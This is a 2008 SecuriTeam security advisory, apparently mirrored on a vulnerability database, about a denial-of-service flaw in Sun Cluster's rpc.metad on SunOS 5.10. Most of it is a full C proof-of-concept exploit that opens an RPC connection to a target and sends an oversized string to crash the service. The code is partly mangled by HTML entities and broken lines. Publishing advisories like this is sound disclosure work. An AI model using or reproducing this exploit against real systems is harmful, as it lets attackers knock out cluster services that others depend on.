Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19437
HistoryMar 18, 2008 - 12:00 a.m.

[EXPL] Sun Cluster rpc.metad DoS (Exploit)

2008-03-1800:00:00
vulners.com
13

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site:
http://www.securiteam.com

    • promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html


Sun Cluster rpc.metad DoS (Exploit)

SUMMARY

A vulnerability in Sun's Clustering service rpc.metad allows remote
attackers to cause it to crash by sending it malformed data.

DETAILS

Vulnerable Systems:

  • SunOS version 5.10

Exploit:
/##########################################################/
/## SunOS 5.10 Sun Cluster rpc.metad DoS PoC #/
/## causes DoS on rpc.metad #/
/## (C) 2008 - Kingcope #/
/##########################################################/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
return(TRUE);
}

main(int argc,char **argv){
char buffer[30000],address[4],*b,*cmd;
int i,c,n,flag=1,vers=0,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;

printf&#40;&quot;rpc.metad for solaris 10&#92;n&#92;n&quot;&#41;;

if&#40;argc&lt;2&#41;{
    printf&#40;&quot;usage: &#37;s address&#92;n&quot;,argv[0]&#41;;
    exit&#40;-1&#41;;
}

printf&#40;&quot;Using version &#37;d and request no. &#37;d!!&#92;n&quot;, METAD_VERS, 

METAD_FUNC);

printf&#40;&quot;timeout=&#37;d &quot;,ntohl&#40;*&#40;unsigned long*&#41;address&#41;,tm.tv_sec&#41;;
fflush&#40;stdout&#41;;

adr.sin_family=AF_INET;
adr.sin_port=htons&#40;port&#41;;
if&#40;&#40;adr.sin_addr.s_addr=inet_addr&#40;argv[1]&#41;&#41;==-1&#41;{
    if&#40;&#40;hp=gethostbyname&#40;argv[1]&#41;&#41;==NULL&#41;{
        errno=EADDRNOTAVAIL;perror&#40;&quot;error&quot;&#41;;exit&#40;-1&#41;;
    }
    memcpy&#40;&amp;adr.sin_addr.s_addr,hp-&gt;h_addr,4&#41;;
}

sck=RPC_ANYSOCK;
if&#40;!&#40;cl=clnttcp_create&#40;&amp;adr,METAD_PROG,METAD_VERS,&amp;sck,0,0&#41;&#41;&#41;{
    clnt_pcreateerror&#40;&quot;error&quot;&#41;;exit&#40;-1&#41;;
}
cl-&gt;cl_auth=authunix_create&#40;&quot;localhost&quot;,0,0,0,NULL&#41;;

memset&#40;buffer, &#39;A&#39;, sizeof&#40;buffer&#41;&#41;; //buffer can also be small,this 

is not a bufover
buffer[3000]=0;

req.string=buffer;

stat=clnt_call&#40;cl,METAD_FUNC,xdr_req,&amp;req,xdr_void,NULL,tm&#41;;
if&#40;stat==RPC_SUCCESS&#41; {printf&#40;&quot;&#92;nerror: not vulnerable&#92;n&quot;&#41;;
printf&#40;&quot;sent!&#92;n&quot;&#41;; /* if&#40;!flag&#41; exit&#40;0&#41;;*/

}

}

// milw0rm.com [2008-03-14]

ADDITIONAL INFORMATION

The information has been provided by Kingcope.
The original article can be found at:
<http://www.milw0rm.com/exploits/5258&gt;
http://www.milw0rm.com/exploits/5258

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]

====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of
business profits or special damages.